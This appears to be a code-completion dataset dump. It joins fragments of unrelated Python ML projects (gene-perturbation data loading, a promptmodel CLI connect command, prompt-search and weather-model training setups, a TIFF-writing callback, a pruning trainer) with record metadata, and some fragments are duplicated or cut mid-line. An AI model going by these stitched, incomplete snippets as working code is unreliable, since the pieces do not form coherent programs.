self.node_map_pert = self.pert_data.node_map_pert def _init_condiitons(self): # all the datasets only have one cell type and one batch self.celltype_enc = LabelEncoder() self.celltype_enc.classes_ = np.array( sorted(self.adata.obs[self.celltype_key].astype(str).unique()) ) # NOTE: these datasets only have one cell type, so do not need to add null self.batch_enc = LabelEncoder() self.batch_enc.classes_ = np.array( sorted(self.adata.obs[self.batch_key].astype(str).unique()) ) if self.post_cond_flag: self.cond_num_dict = { 'cell_type': len(self.celltype_enc.classes_), } self.post_cond_num_dict = {'batch': len(self.batch_enc.classes_)} else: self.cond_num_dict = { 'batch': len(self.batch_enc.classes_), 'cell_type': len(self.celltype_enc.classes_), } self.post_cond_num_dict = None def _load(self): self.input_graphs = self.cell_graphs[self.SPLIT] # train, val, test self.target = self.extras = None pert_idx_list = [data.pert_idx for data in self.input_graphs] max_num_pert = max(map(len, pert_idx_list)) for i in pert_idx_list: # pad with ctrl idx (-1) to ensure consistent dimension if len(i) < max_num_pert: i.extend([-1] * (max_num_pert - len(i))) self.pert_idx = torch.tensor(pert_idx_list, dtype=torch.long) if self.SPLIT != 'train': self.input = torch.cat([data.x for data in self.input_graphs], dim=1).T.contiguous() self.target = torch.cat([data.y for data in self.input_graphs], dim=0).contiguous() # XXX: convert full condition name to condition name (assumes one-to-one) fullcond_to_cond = defaultdict(set) for fullcond, cond in self.adata.obs[["condition_name", "condition"]].values: fullcond_to_cond[fullcond].add(cond) len_dict = {i: len(j) for i, j in fullcond_to_cond.items()} assert all(i == 1 for i in len_dict.values()), f"Conditions not one-to-one: {len_dict}" fullcond_to_cond = {i: j.pop() for i, j in fullcond_to_cond.items()} gene_to_idx = {j: i for i, j in enumerate(self.adata.var.index.tolist())} gene_rank_dict, ndde20_dict = {}, {} for fullname, name in fullcond_to_cond.items(): pert_idx = self.pert_data.get_pert_idx(name) assert all(isinstance(i, (int, np.int64)) for i in pert_idx), f"{pert_idx=!r}" gene_order = self.adata.uns["rank_genes_groups_cov_all"][fullname] gene_rank_dict[tuple(pert_idx)] = [gene_to_idx[i] for i in gene_order.tolist()] ndde20 = self.adata.uns["top_non_dropout_de_20"][fullname] ndde20_dict[tuple(pert_idx)] = [gene_to_idx[i] for i in ndde20.tolist()] self.extras = {"rank_genes_groups_cov_all_idx_dict": gene_rank_dict, "top_non_dropout_de_20": ndde20_dict} else: self.input = torch.cat([data.y for data in self.input_graphs], dim=0).contiguous() self.gene_names = self.adata.var.index.tolist() self.celltype = self.celltype_enc.transform(self.adata.obs[self.celltype_key].astype(str)) self.batch = self.batch_enc.transform(self.adata.obs[self.batch_key].astype(str)) self.cond = { 'batch': torch.tensor(self.batch).float(), 'cell_type': torch.tensor(self.celltype).float(), 'pert': self.pert_idx, } # calculating gene ontology similarity graph edge_list = get_similarity_network(network_type='go', adata=self.adata, threshold=self.coexpress_threshold, k=self.num_similar_genes_go_graph, pert_list=self.pert_list, data_path=self.datadir, data_name=self.dataset, split=self.split_type, seed=self.seed, train_gene_set_size=self.train_gene_set_size, set2conditions=self.set2conditions, default_pert_graph=self.default_pert_graph) sim_network = GeneSimNetwork(edge_list, self.pert_list, node_map=self.node_map_pert) self.G_go = sim_network.edge_index self.G_go_weight = sim_network.edge_weight if self.pretrained_gene_list is not None: pretrained_gene_index = dict(zip(self.pretrained_gene_list, list(range(len(self.pretrained_gene_list))))) self.input_gene_idx = torch.tensor([ pretrained_gene_index[o] for o in self.gene_list if o in pretrained_gene_index ]).long() @abstractmethod def _prepare(self): ...
class GenePerturbationTrain(TargetDataset, GenePerturbationBase):
0
2023-10-13 14:20:34+00:00
12k
weavel-ai/promptmodel-python
promptmodel/cli/commands/connect.py
[ { "identifier": "DevApp", "path": "promptmodel/dev_app.py", "snippet": "class DevApp:\n _nest_asyncio_applied = False\n\n def __init__(self):\n self.function_models: List[FunctionModelInterface] = []\n self.chat_models: List[ChatModelInterface] = []\n self.samples: List[Dict[s...
import time import asyncio import typer import importlib import signal import webbrowser import threading from typing import Dict, Any, List from playhouse.shortcuts import model_to_dict from rich import print from InquirerPy import inquirer from watchdog.observers import Observer from promptmodel import DevApp from promptmodel.apis.base import APIClient from promptmodel.constants import ENDPOINT_URL, WEB_CLIENT_URL from promptmodel.cli.commands.init import init as promptmodel_init from promptmodel.cli.utils import get_org, get_project from promptmodel.cli.signal_handler import dev_terminate_signal_handler from promptmodel.utils.config_utils import read_config, upsert_config from promptmodel.websocket import DevWebsocketClient, CodeReloadHandler from promptmodel.database.orm import initialize_db
8,387
def connect(): """Connect websocket and opens up DevApp in the browser.""" upsert_config({"initializing": True}, "connection") signal.signal(signal.SIGINT, dev_terminate_signal_handler) promptmodel_init(from_cli=False) config = read_config() if "project" not in config["connection"]: org = get_org(config) project = get_project(config=config, org=org) # connect res = APIClient.execute( method="POST", path="/project/cli_connect", params={"project_uuid": project["uuid"]}, ) if res.status_code != 200: print(f"Error: {res.json()['detail']}") return upsert_config( { "project": project, "org": org, }, section="connection", ) else: org = config["connection"]["org"] project = config["connection"]["project"] res = APIClient.execute( method="POST", path="/project/cli_connect", params={"project_uuid": project["uuid"]}, ) if res.status_code != 200: print(f"Error: {res.json()['detail']}") return _devapp_filename, devapp_instance_name = "promptmodel_dev:app".split(":") devapp_module = importlib.import_module(_devapp_filename) devapp_instance: DevApp = getattr(devapp_module, devapp_instance_name)
def connect(): """Connect websocket and opens up DevApp in the browser.""" upsert_config({"initializing": True}, "connection") signal.signal(signal.SIGINT, dev_terminate_signal_handler) promptmodel_init(from_cli=False) config = read_config() if "project" not in config["connection"]: org = get_org(config) project = get_project(config=config, org=org) # connect res = APIClient.execute( method="POST", path="/project/cli_connect", params={"project_uuid": project["uuid"]}, ) if res.status_code != 200: print(f"Error: {res.json()['detail']}") return upsert_config( { "project": project, "org": org, }, section="connection", ) else: org = config["connection"]["org"] project = config["connection"]["project"] res = APIClient.execute( method="POST", path="/project/cli_connect", params={"project_uuid": project["uuid"]}, ) if res.status_code != 200: print(f"Error: {res.json()['detail']}") return _devapp_filename, devapp_instance_name = "promptmodel_dev:app".split(":") devapp_module = importlib.import_module(_devapp_filename) devapp_instance: DevApp = getattr(devapp_module, devapp_instance_name)
dev_url = f"{WEB_CLIENT_URL}/org/{org['slug']}/projects/{project['uuid']}"
3
2023-10-09 03:35:44+00:00
12k
cambridgeltl/ClaPS
algs/base_trainer.py
[ { "identifier": "PromptedClassificationDataset", "path": "utils/fsc_datasets.py", "snippet": "class PromptedClassificationDataset:\n def __init__(self, args):\n self.args = args\n self.glue_list = ['sst2', 'rte', 'mrpc', 'qqp', 'mnli', 'qnli']\n self.superglue_list = ['cb', 'copa...
from typing import Any, Dict, Optional, List, Iterable, Tuple from utils.fsc_datasets import PromptedClassificationDataset from rewards.text_classification_reward import PromptedClassificationReward from .test_time_bn import BatchNormCalibrate import abc import torch import numpy as np import collections
8,932
class BaseTrainer(abc.ABC): """ The base trainer class. Attributes: obj_func: the callable function handle for model interfacing. logger: an optional logger object. bn_calibrator: a batch norm calibration object. Only used in testing (not training or validation). """ def __init__( self, obj_func: PromptedClassificationReward, prompt_dataset: PromptedClassificationDataset, logger: Optional[Any] = None, use_bn_calibrator: bool = False, n_samples_bn_calibrator: int = 128, ): self.obj_func = obj_func self.logger = logger self.prompt_dataset = prompt_dataset
class BaseTrainer(abc.ABC): """ The base trainer class. Attributes: obj_func: the callable function handle for model interfacing. logger: an optional logger object. bn_calibrator: a batch norm calibration object. Only used in testing (not training or validation). """ def __init__( self, obj_func: PromptedClassificationReward, prompt_dataset: PromptedClassificationDataset, logger: Optional[Any] = None, use_bn_calibrator: bool = False, n_samples_bn_calibrator: int = 128, ): self.obj_func = obj_func self.logger = logger self.prompt_dataset = prompt_dataset
self.bn_calibrator = BatchNormCalibrate() if use_bn_calibrator else None
2
2023-10-08 12:39:44+00:00
12k
clessig/atmorep
atmorep/core/train.py
[ { "identifier": "Trainer_BERT", "path": "atmorep/core/trainer.py", "snippet": "class Trainer_BERT( Trainer_Base) :\n\n ###################################################\n def __init__( self, cf, devices) :\n \n Trainer_Base.__init__( self, cf, devices)\n\n self.rng_seed = cf.rng_seed\n i...
import torch import numpy as np import os import wandb import atmorep.config.config as config import atmorep.utils.utils as utils from atmorep.core.trainer import Trainer_BERT from atmorep.utils.utils import Config from atmorep.utils.utils import setup_ddp from atmorep.utils.utils import setup_wandb from atmorep.utils.utils import init_torch
10,161
# [12, 6, 12], [3, 9, 9], [0.5, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'velocity_v', [ 1, 2048, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [ 12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'velocity_z', [ 1, 1024, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'specific_humidity', [ 1, 2048, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'temperature', [ 1, 1536, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 2, 4], [3, 27, 27], [0.5, 0.9, 0.1, 0.05], 'local' ] ] # cf.fields = [ [ 'total_precip', [ 1, 2048, [ ], 0 ], # [ 0 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'geopotential', [ 1, 1024, [], 0 ], # [ 0 ], # [12, 3, 6], [3, 18, 18], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields_prediction = [ ['geopotential', 1.] ] cf.fields_prediction = [ [cf.fields[0][0], 1.] ] cf.fields_targets = [] cf.years_train = [2021] # list( range( 1980, 2018)) cf.years_test = [2021] #[2018] cf.month = None cf.geo_range_sampling = [[ -90., 90.], [ 0., 360.]] cf.time_sampling = 1 # sampling rate for time steps # file and data parameter parameter cf.data_smoothing = 0 cf.file_shape = (-1, 721, 1440) cf.num_t_samples = 31*24 cf.num_files_train = 5 cf.num_files_test = 2 cf.num_patches_per_t_train = 8 cf.num_patches_per_t_test = 4 # random seeds cf.torch_seed = torch.initial_seed() # training params cf.batch_size_test = 64 cf.batch_size_start = 16 cf.batch_size_max = 32 cf.batch_size_delta = 8 cf.num_epochs = 128 cf.num_loader_workers = 8 # additional infos cf.size_token_info = 8 cf.size_token_info_net = 16 cf.grad_checkpointing = True cf.with_cls = False # network config cf.with_layernorm = True cf.coupling_num_heads_per_field = 1 cf.dropout_rate = 0.05 cf.learnable_mask = False cf.with_qk_lnorm = True # encoder cf.encoder_num_layers = 10 cf.encoder_num_heads = 16 cf.encoder_num_mlp_layers = 2 cf.encoder_att_type = 'dense' # decoder cf.decoder_num_layers = 10 cf.decoder_num_heads = 16 cf.decoder_num_mlp_layers = 2 cf.decoder_self_att = False cf.decoder_cross_att_ratio = 0.5 cf.decoder_cross_att_rate = 1.0 cf.decoder_att_type = 'dense' # tail net cf.net_tail_num_nets = 16 cf.net_tail_num_layers = 0 # loss # supported: see Trainer for supported losses # cf.losses = ['mse', 'stats'] cf.losses = ['mse_ensemble', 'stats'] # cf.losses = ['mse'] # cf.losses = ['stats'] # cf.losses = ['crps'] # training cf.optimizer_zero = False cf.lr_start = 5. * 10e-7 cf.lr_max = 0.00005 cf.lr_min = 0.00004 cf.weight_decay = 0.05 cf.lr_decay_rate = 1.025 cf.lr_start_epochs = 3 cf.lat_sampling_weighted = True # BERT # strategies: 'BERT', 'forecast', 'temporal_interpolation', 'identity' cf.BERT_strategy = 'BERT' cf.BERT_window = False # sample sub-region cf.BERT_fields_synced = False # apply synchronized / identical masking to all fields # (fields need to have same BERT params for this to have effect) cf.BERT_mr_max = 2 # maximum reduction rate for resolution # debug / output cf.log_test_num_ranks = 0 cf.save_grads = False cf.profile = False cf.test_initial = True cf.attention = False cf.rng_seed = None # usually use %>wandb offline to switch to disable syncing with server cf.with_wandb = True setup_wandb( cf.with_wandb, cf, par_rank, 'train', mode='offline') if cf.with_wandb and 0 == cf.par_rank : cf.write_json( wandb) cf.print()
#################################################################################################### # # Copyright (C) 2022 # #################################################################################################### # # project : atmorep # # author : atmorep collaboration # # description : # # license : # #################################################################################################### #################################################################################################### def train_continue( wandb_id, epoch, Trainer, epoch_continue = -1) : num_accs_per_task = int( 4 / int( os.environ.get('SLURM_TASKS_PER_NODE', '1')[0] )) device = init_torch( num_accs_per_task) with_ddp = True par_rank, par_size = setup_ddp( with_ddp) cf = Config().load_json( wandb_id) cf.with_ddp = with_ddp cf.par_rank = par_rank cf.par_size = par_size cf.optimizer_zero = False cf.attention = False # name has changed but ensure backward compatibility if hasattr( cf, 'loader_num_workers') : cf.num_loader_workers = cf.loader_num_workers # any parameter in cf can be overwritten when training is continued, e.g. we can increase the # masking rate # cf.fields = [ [ 'specific_humidity', [ 1, 2048, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.5, 0.9, 0.1, 0.05] ] ] setup_wandb( cf.with_wandb, cf, par_rank, project_name='train', mode='offline') # resuming a run requires online mode, which is not available everywhere #setup_wandb( cf.with_wandb, cf, par_rank, wandb_id = wandb_id) if cf.with_wandb and 0 == cf.par_rank : cf.write_json( wandb) cf.print() if -1 == epoch_continue : epoch_continue = epoch # run trainer = Trainer.load( cf, wandb_id, epoch, device) print( 'Loaded run \'{}\' at epoch {}.'.format( wandb_id, epoch)) trainer.run( epoch_continue) #################################################################################################### def train() : num_accs_per_task = int( 4 / int( os.environ.get('SLURM_TASKS_PER_NODE', '1')[0] )) device = init_torch( num_accs_per_task) with_ddp = True par_rank, par_size = setup_ddp( with_ddp) # torch.cuda.set_sync_debug_mode(1) torch.backends.cuda.matmul.allow_tf32 = True cf = Config() # parallelization cf.with_ddp = with_ddp cf.num_accs_per_task = num_accs_per_task # number of GPUs / accelerators per task cf.par_rank = par_rank cf.par_size = par_size cf.back_passes_per_step = 4 # general cf.comment = '' cf.file_format = 'grib' cf.data_dir = str(config.path_data) cf.level_type = 'ml' # format: list of fields where for each field the list is # [ name , # [ dynamic or static field { 1, 0 }, embedding dimension, , device id ], # [ vertical levels ], # [ num_tokens], # [ token size], # [ total masking rate, rate masking, rate noising, rate for multi-res distortion] # ] cf.fields = [ [ 'vorticity', [ 1, 2048, [ ], 0 ], [ 123 ], [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'velocity_u', [ 1, 2048, [ ], 0], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.5, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'velocity_v', [ 1, 2048, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [ 12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'velocity_z', [ 1, 1024, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'specific_humidity', [ 1, 2048, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'temperature', [ 1, 1536, [ ], 0 ], # [ 96, 105, 114, 123, 137 ], # [12, 2, 4], [3, 27, 27], [0.5, 0.9, 0.1, 0.05], 'local' ] ] # cf.fields = [ [ 'total_precip', [ 1, 2048, [ ], 0 ], # [ 0 ], # [12, 6, 12], [3, 9, 9], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields = [ [ 'geopotential', [ 1, 1024, [], 0 ], # [ 0 ], # [12, 3, 6], [3, 18, 18], [0.25, 0.9, 0.1, 0.05] ] ] # cf.fields_prediction = [ ['geopotential', 1.] ] cf.fields_prediction = [ [cf.fields[0][0], 1.] ] cf.fields_targets = [] cf.years_train = [2021] # list( range( 1980, 2018)) cf.years_test = [2021] #[2018] cf.month = None cf.geo_range_sampling = [[ -90., 90.], [ 0., 360.]] cf.time_sampling = 1 # sampling rate for time steps # file and data parameter parameter cf.data_smoothing = 0 cf.file_shape = (-1, 721, 1440) cf.num_t_samples = 31*24 cf.num_files_train = 5 cf.num_files_test = 2 cf.num_patches_per_t_train = 8 cf.num_patches_per_t_test = 4 # random seeds cf.torch_seed = torch.initial_seed() # training params cf.batch_size_test = 64 cf.batch_size_start = 16 cf.batch_size_max = 32 cf.batch_size_delta = 8 cf.num_epochs = 128 cf.num_loader_workers = 8 # additional infos cf.size_token_info = 8 cf.size_token_info_net = 16 cf.grad_checkpointing = True cf.with_cls = False # network config cf.with_layernorm = True cf.coupling_num_heads_per_field = 1 cf.dropout_rate = 0.05 cf.learnable_mask = False cf.with_qk_lnorm = True # encoder cf.encoder_num_layers = 10 cf.encoder_num_heads = 16 cf.encoder_num_mlp_layers = 2 cf.encoder_att_type = 'dense' # decoder cf.decoder_num_layers = 10 cf.decoder_num_heads = 16 cf.decoder_num_mlp_layers = 2 cf.decoder_self_att = False cf.decoder_cross_att_ratio = 0.5 cf.decoder_cross_att_rate = 1.0 cf.decoder_att_type = 'dense' # tail net cf.net_tail_num_nets = 16 cf.net_tail_num_layers = 0 # loss # supported: see Trainer for supported losses # cf.losses = ['mse', 'stats'] cf.losses = ['mse_ensemble', 'stats'] # cf.losses = ['mse'] # cf.losses = ['stats'] # cf.losses = ['crps'] # training cf.optimizer_zero = False cf.lr_start = 5. * 10e-7 cf.lr_max = 0.00005 cf.lr_min = 0.00004 cf.weight_decay = 0.05 cf.lr_decay_rate = 1.025 cf.lr_start_epochs = 3 cf.lat_sampling_weighted = True # BERT # strategies: 'BERT', 'forecast', 'temporal_interpolation', 'identity' cf.BERT_strategy = 'BERT' cf.BERT_window = False # sample sub-region cf.BERT_fields_synced = False # apply synchronized / identical masking to all fields # (fields need to have same BERT params for this to have effect) cf.BERT_mr_max = 2 # maximum reduction rate for resolution # debug / output cf.log_test_num_ranks = 0 cf.save_grads = False cf.profile = False cf.test_initial = True cf.attention = False cf.rng_seed = None # usually use %>wandb offline to switch to disable syncing with server cf.with_wandb = True setup_wandb( cf.with_wandb, cf, par_rank, 'train', mode='offline') if cf.with_wandb and 0 == cf.par_rank : cf.write_json( wandb) cf.print()
trainer = Trainer_BERT( cf, device).create()
0
2023-10-09 19:42:46+00:00
12k
NKI-AI/ahcore
ahcore/callbacks/tiff_callback.py
[ { "identifier": "WriteH5Callback", "path": "ahcore/callbacks/h5_callback.py", "snippet": "class WriteH5Callback(Callback):\n def __init__(\n self,\n max_queue_size: int,\n max_concurrent_writers: int,\n dump_dir: Path,\n normalization_type: str = str(NormalizationTy...
import multiprocessing import numpy as np import pytorch_lightning as pl from pathlib import Path from typing import Any, Callable, Generator, Iterator, Optional, cast from dlup._image import Resampling from dlup.writers import TiffCompression, TifffileImageWriter from numpy import typing as npt from pytorch_lightning import Callback from ahcore.callbacks import WriteH5Callback from ahcore.lit_module import AhCoreLightningModule from ahcore.readers import H5FileImageReader, StitchingMode from ahcore.utils.callbacks import _get_h5_output_filename, _ValidationDataset from ahcore.utils.io import get_logger from ahcore.utils.types import GenericArray
9,591
from __future__ import annotations logger = get_logger(__name__) class WriteTiffCallback(Callback): def __init__( self, max_concurrent_writers: int, tile_size: tuple[int, int] = (1024, 1024), colormap: dict[int, str] | None = None, ): self._pool = multiprocessing.Pool(max_concurrent_writers) self._logger = get_logger(type(self).__name__) self._dump_dir: Optional[Path] = None self.__write_h5_callback_index = -1 self._model_name: str | None = None self._tile_size = tile_size self._colormap = colormap # TODO: Handle tile operation such that we avoid repetitions. self._tile_process_function = _tile_process_function # function that is applied to the tile. self._filenames: dict[Path, Path] = {} # This has all the h5 files @property def dump_dir(self) -> Optional[Path]: return self._dump_dir def _validate_parameters(self) -> None: dump_dir = self._dump_dir if not dump_dir: raise ValueError("Dump directory is not set.") def setup( self, trainer: pl.Trainer, pl_module: pl.LightningModule, stage: Optional[str] = None, ) -> None: if not isinstance(pl_module, AhCoreLightningModule): # TODO: Make a AhCoreCallback with these features raise ValueError("AhCoreLightningModule required for WriteTiffCallback.") self._model_name = pl_module.name _callback: Optional[WriteH5Callback] = None for idx, callback in enumerate(trainer.callbacks): # type: ignore if isinstance(callback, WriteH5Callback): _callback = cast(WriteH5Callback, trainer.callbacks[idx]) # type: ignore break if _callback is None: raise ValueError("WriteH5Callback required before tiff images can be written using this Callback.") # This is needed for mypy assert _callback, "_callback should never be None after the setup." assert _callback.dump_dir, "_callback.dump_dir should never be None after the setup." self._dump_dir = _callback.dump_dir def _batch_end( self, trainer: pl.Trainer, pl_module: pl.LightningModule, outputs: Any, batch: Any, batch_idx: int, dataloader_idx: int = 0, ) -> None: assert self.dump_dir, "dump_dir should never be None here." filename = Path(batch["path"][0]) # Filenames are constant across the batch. if filename not in self._filenames:
from __future__ import annotations logger = get_logger(__name__) class WriteTiffCallback(Callback): def __init__( self, max_concurrent_writers: int, tile_size: tuple[int, int] = (1024, 1024), colormap: dict[int, str] | None = None, ): self._pool = multiprocessing.Pool(max_concurrent_writers) self._logger = get_logger(type(self).__name__) self._dump_dir: Optional[Path] = None self.__write_h5_callback_index = -1 self._model_name: str | None = None self._tile_size = tile_size self._colormap = colormap # TODO: Handle tile operation such that we avoid repetitions. self._tile_process_function = _tile_process_function # function that is applied to the tile. self._filenames: dict[Path, Path] = {} # This has all the h5 files @property def dump_dir(self) -> Optional[Path]: return self._dump_dir def _validate_parameters(self) -> None: dump_dir = self._dump_dir if not dump_dir: raise ValueError("Dump directory is not set.") def setup( self, trainer: pl.Trainer, pl_module: pl.LightningModule, stage: Optional[str] = None, ) -> None: if not isinstance(pl_module, AhCoreLightningModule): # TODO: Make a AhCoreCallback with these features raise ValueError("AhCoreLightningModule required for WriteTiffCallback.") self._model_name = pl_module.name _callback: Optional[WriteH5Callback] = None for idx, callback in enumerate(trainer.callbacks): # type: ignore if isinstance(callback, WriteH5Callback): _callback = cast(WriteH5Callback, trainer.callbacks[idx]) # type: ignore break if _callback is None: raise ValueError("WriteH5Callback required before tiff images can be written using this Callback.") # This is needed for mypy assert _callback, "_callback should never be None after the setup." assert _callback.dump_dir, "_callback.dump_dir should never be None after the setup." self._dump_dir = _callback.dump_dir def _batch_end( self, trainer: pl.Trainer, pl_module: pl.LightningModule, outputs: Any, batch: Any, batch_idx: int, dataloader_idx: int = 0, ) -> None: assert self.dump_dir, "dump_dir should never be None here." filename = Path(batch["path"][0]) # Filenames are constant across the batch. if filename not in self._filenames:
output_filename = _get_h5_output_filename(
4
2023-10-14 18:04:12+00:00
12k
jongwooko/NASH-Pruning-Official
trainer/trainer.py
[ { "identifier": "AdditionalArguments", "path": "args.py", "snippet": "class AdditionalArguments():\n test: bool = field(\n default=False,\n metadata={\n \"help\": \"Testing additional arguments.\"\n },\n )\n\n ex_name: str = field(default=\"test\", metadata={\"he...
import math import os import sys import time import copy import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import wandb from typing import Any, Callable, Dict, List, Optional, Tuple, Union from torch.cuda.amp import autocast from packaging import version from torch.utils.data.dataloader import DataLoader from torch.utils.data.dataset import Dataset from torch.utils.data.distributed import DistributedSampler from tqdm.auto import tqdm, trange from transformers import Trainer from transformers.data.data_collator import DataCollator from transformers.modeling_utils import PreTrainedModel from transformers.optimization import get_linear_schedule_with_warmup from torch.optim import AdamW from transformers.tokenization_utils_base import PreTrainedTokenizerBase from transformers.trainer import Trainer from transformers.trainer_pt_utils import nested_concat, nested_numpify from transformers.trainer_utils import (PREFIX_CHECKPOINT_DIR, EvalPrediction, EvaluationStrategy, PredictionOutput, TrainOutput) from transformers.utils import logging from transformers.training_args import TrainingArguments from args import AdditionalArguments from utils.utils import * from models.modeling_bart import BartForConditionalGeneration from models.modeling_t5 import NashT5ForConditionalGeneration from models.modeling_bart import BartForConditionalGeneration from utils.nash_utils_bart import load_model, load_zs from models.modeling_t5 import NashT5ForConditionalGeneration from utils.nash_utils import load_model, load_zs from utils.nash_utils_bart import load_model, load_zs from utils.nash_utils import load_model, load_zs
9,612
if self.lr_scheduler is not None: self.lr_scheduler.step() if self.l0_module is not None: self.l0_module.constrain_parameters() model.zero_grad() if self.l0_module is not None: self.l0_module.zero_grad() self.optimizer.zero_grad() if self.l0_optimizer is not None: self.l0_optimizer.zero_grad() if self.lagrangian_optimizer is not None: self.lagrangian_optimizer.zero_grad() self.global_step += 1 self.epoch = epoch + (step + 1) / len(epoch_iterator) if (self.args.logging_steps > 0 and self.global_step % self.args.logging_steps == 0) or ( self.global_step == 1 and self.args.logging_first_step ): logs: Dict[str, float] = {} tr_loss_scalar = tr_loss.item() reg_loss_scalar = reg_loss.item() lag_loss_scalar = lag_loss.item() logs["loss"] = ( tr_loss_scalar - logging_loss_scalar) / self.args.logging_steps logs["reg_loss"] = ( reg_loss_scalar - logging_reg_loss_scalar) / self.args.logging_steps logs["lag_loss"] = ( lag_loss_scalar - logging_lag_loss_scalar) / self.args.logging_steps # backward compatibility for pytorch schedulers if self.lr_scheduler is not None: lr = self.lr_scheduler.get_last_lr()[0] if version.parse( torch.__version__) >= version.parse("1.4") else self.lr_scheduler.get_lr()[0] else: lr = self.args.learning_rate logs["learning_rate"] = lr logging_loss_scalar = tr_loss_scalar logging_reg_loss_scalar = reg_loss_scalar logging_lag_loss_scalar = lag_loss_scalar self.log(logs) if self.global_step % self.args.eval_steps == 0: # try: self.evaluate() # except: # self.save_model() epoch_pbar.update(1) if self.args.max_steps > 0 and self.global_step >= self.args.max_steps: break epoch_end = time.time() logger.info( f"Epoch {epoch} finished. Took {round(epoch_end - epoch_start, 2)} seconds.") epoch_pbar.close() train_pbar.update(1) if self.args.max_steps > 0 and self.global_step >= self.args.max_steps: break train_pbar.close() if self.args.past_index and hasattr(self, "_past"): # Clean the state at the end of training delattr(self, "_past") return TrainOutput(self.global_step, tr_loss.item() / self.global_step, None) def prediction_loop(self, dataloader: DataLoader, description: str, prediction_loss_only: Optional[bool] = None) -> PredictionOutput: prediction_loss_only = ( prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only ) # disable output hidden states and attention during evaluation self.model.config.output_hidden_states = False self.model.config.output_attentions = False model = self.model batch_size = dataloader.batch_size logger.info("***** Running %s *****", description) logger.info(" Num examples = %d", self.num_examples(dataloader)) logger.info(" Batch size = %d", batch_size) # Initialize containers # losses/preds/labels on GPU/TPU (accumulated for eval_accumulation_steps) losses_host = None preds_host = None labels_host = None # losses/preds/labels on CPU (final containers) all_losses = None all_preds = None all_labels = None model.eval() if self.args.past_index >= 0: self._past = None disable_tqdm = not self.is_local_process_zero() or self.args.disable_tqdm zs = None if self.start_prune and self.l0_module is not None: # Save current model int_dir = os.path.join(self.args.output_dir, "int") if not os.path.exists(int_dir): os.makedirs(int_dir) self.save_model(int_dir) # load model if "bart" in self.model.name_or_path:
# from utils.nash_utils_bart import * logger = logging.get_logger(__name__) glue_tasks = {"cola": "mcc", "mnli": "acc", "mrpc": "acc", "sst2": "acc", "stsb": "corr", "qqp": "acc", "qnli": "acc", "rte": "acc", "squad": "em", "cnndm": "rougeL", "samsum": "rougeL", "cb": "f1", "copa": "acc", "multirc": "f1", "record": "f1", "wic": "acc", "wsc.fixed": "acc", "boolq": "acc", "ax": "accuracy", "axg": "accuracy", "orangesum": "rougeL", "tweetqa": "rougeL", "narrativeqa": "rougeL", } class Eval_Counter(): def __init__(self): self.epoch = 0 self.global_step = 0 self.best_eval_score = 0 self.near_sparsity_eval_times = 0 self.level_best_score = {0.85: 0, 0.8: 0, 0.7: 0, 0.6: 0, 0.75: 0, 0.9: 0, 0.95: 0, 0.65: 0} def round_nearest(self, x, a): return round(round(x / a) * a, -int(math.floor(math.log10(a)))) def update(self, epoch, global_step, eval_score): best_so_far = False if eval_score > self.best_eval_score: self.epoch = epoch self.global_step = global_step self.best_eval_score = eval_score best_so_far = True return best_so_far def clear(self): self.eval_score = 0 class NashTrainer(Trainer): def __init__( self, model: PreTrainedModel = None, args: TrainingArguments = None, additional_args: AdditionalArguments = None, data_collator: Optional[DataCollator] = None, train_dataset: Optional[Dataset] = None, eval_dataset: Optional[Dataset] = None, tokenizer: Optional[PreTrainedTokenizerBase] = None, model_init: Callable[[], PreTrainedModel] = None, compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None, l0_module=None, teacher_model=None, **kwargs, ): Trainer.__init__(self, model, args, data_collator, train_dataset, eval_dataset, tokenizer, model_init, compute_metrics, **kwargs) self.additional_args = additional_args self.l0_module = l0_module self.prepruning_finetune_steps = 0 self.start_prune = False self.l0_optimizer = None self.lagrangian_optimizer = None self.pruned_model = None self.eval_counter = Eval_Counter() self.start_saving_best = True if self.additional_args.pruning_type is None else False self.start_saving_best_epochs = int(1e9) if self.additional_args.start_saving_best_epochs is None \ else self.additional_args.start_saving_best_epochs self.teacher_model = teacher_model if self.teacher_model is not None: self.teacher_model = self.teacher_model.to(self.args.device) self.tokenizer = tokenizer if "bart" in self.model.name_or_path: elif "t5" in self.model.name_or_path: log_level = args.get_process_log_level() logging.set_verbosity(log_level) logger.setLevel(log_level) def create_optimizer_and_scheduler(self, num_training_steps: int, build_l0_optimizer:bool=True): def log_params(param_groups, des): for i, grouped_parameters in enumerate(param_groups): logger.info( f"{des}, number of params: {sum(p.nelement() for p in grouped_parameters['params'])}, weight_decay: {grouped_parameters['weight_decay']}, lr: {grouped_parameters['lr']}") if self.optimizer is None: no_decay = ["bias", "LayerNorm.weight"] freeze_keywords = ["shared", "embed_tokens"] if self.additional_args.freeze_embeddings else [] main_model_params = [ { "params": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay) and not 